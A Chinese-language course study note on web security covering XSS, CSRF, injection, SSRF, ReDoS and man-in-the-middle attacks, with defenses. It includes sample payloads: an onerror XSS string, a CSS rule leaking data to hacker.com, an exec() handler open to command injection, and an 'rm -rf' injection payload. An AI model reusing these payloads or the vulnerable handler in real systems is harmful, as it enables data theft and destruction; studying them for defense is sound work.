前端

这篇笔记记录了Web前端开发中必须了解的一些Web安全知识。

一、本堂课重点内容

  • XSS攻击&防御
  • CSRF攻击&防御

二、详细知识点介绍

1、XSS攻击

  • 在DOM中插入恶意代码

  • 特点

    • 通常难以从 UI 上感知
    • 窃取用户信息(cookie/token)
    • 绘制 UI（例如弹窗），诱骗用户点击/填写表单

  • 分类

    • 存储型XSS（Stored XSS）
      • 恶意脚本被存在数据库中
      • 访问页面→读数据 === 被攻击
      • 危害最大，对全部用户可见
    • 反射型XSS（Reflect XSS）
      • 不涉及数据库
      • 从 URL 上攻击
    • DOM型XSS（DOM-based XSS）
      • 不需要服务器的参与
      • 恶意攻击的发起+执行全在浏览器完成
    • 突变型XSS（Mutation-based XSS）
      • 利用了浏览器渲染 DOM 的特性
      • 不同浏览器会有区别（按浏览器进行攻击）
      • e.g. <noscript><p title="</noscript><img src=x onerror=alert(1)>">

  • 防御方法

    • 永远不要相信用户提交的内容，不能直接转换成DOM
    • 一种很巧妙的XSS：
    input[type=radio].income-gt10k:checked{
    background: url("https://hacker.com/?income=gt10k")
}

2、CSRF（Cross-site request forgery，跨站请求伪造）

  • 特点

    • 在用户不知情的前提下
    • 利用用户权限（cookie）
    • 构造指定 HTTP 请求，窃取或修改用户敏感信息

  • 防御方法

    • Origin + Referer
    • csrf_token
      • ①用户绑定
      • ②过期时间（前向保密）
    • 对于iframe攻击（例如iframe页面之上有一个本页面的button，通过设置button { pointer-events: none; }使得用户点击该按钮时实际上是点击了button下面的iframe），可以通过在服务端设置HTTP响应头部X-Frame-Options为DENY（拒绝嵌入任何iframe或frame）。设置为SAMEORIGIN则允许在同源页面被嵌入。
    • 避免⽤户信息被携带：SameSite Cookie，参考YK菌的文章，SameSite属性有三个值，分别代表三种cookie方案

3、Injection

  • SQL Injection
  • CLI
  • OS command
  • SSRF（Server-Side Request Forgery），服务端伪造请求，与Injection原理类似
  • 防御方法
    • 最小权限原则
      • 禁止 sudo || root
    • 建立允许名单 + 过滤
      • 禁止 rm
    • 对URL类型参数进行协议、域名、ip等限制
      • 禁止访问内网

4、Dos（拒绝服务攻击）

  • ReDoS：基于正则表达式
    • e.g.：/^((ab)*)+$/
  • Logical DoS
  • DDoS

5、中间人攻击

  • 防御方法：HTTPS

三、实践练习例子

  • Injection 例子（把服务器上的文件全删了）
    • 服务端
    public async convertVideo(ctx){
    const { video, options } = ctx.request.body;
    exec(`convert-cli ${video} -o ${options}`);
    ctx.body = "ok";
}
    • 前端
    fetch("/api", {
    method: "POST",
    body: JSON.stringify({
        options: `' && rm -rf xxx'`
    })
})

const command = `convert-cli video -o && rm -rf xxx`

四、课后个人总结

  • 有很多攻击方法确实很难想到，也很难防范

五、引用参考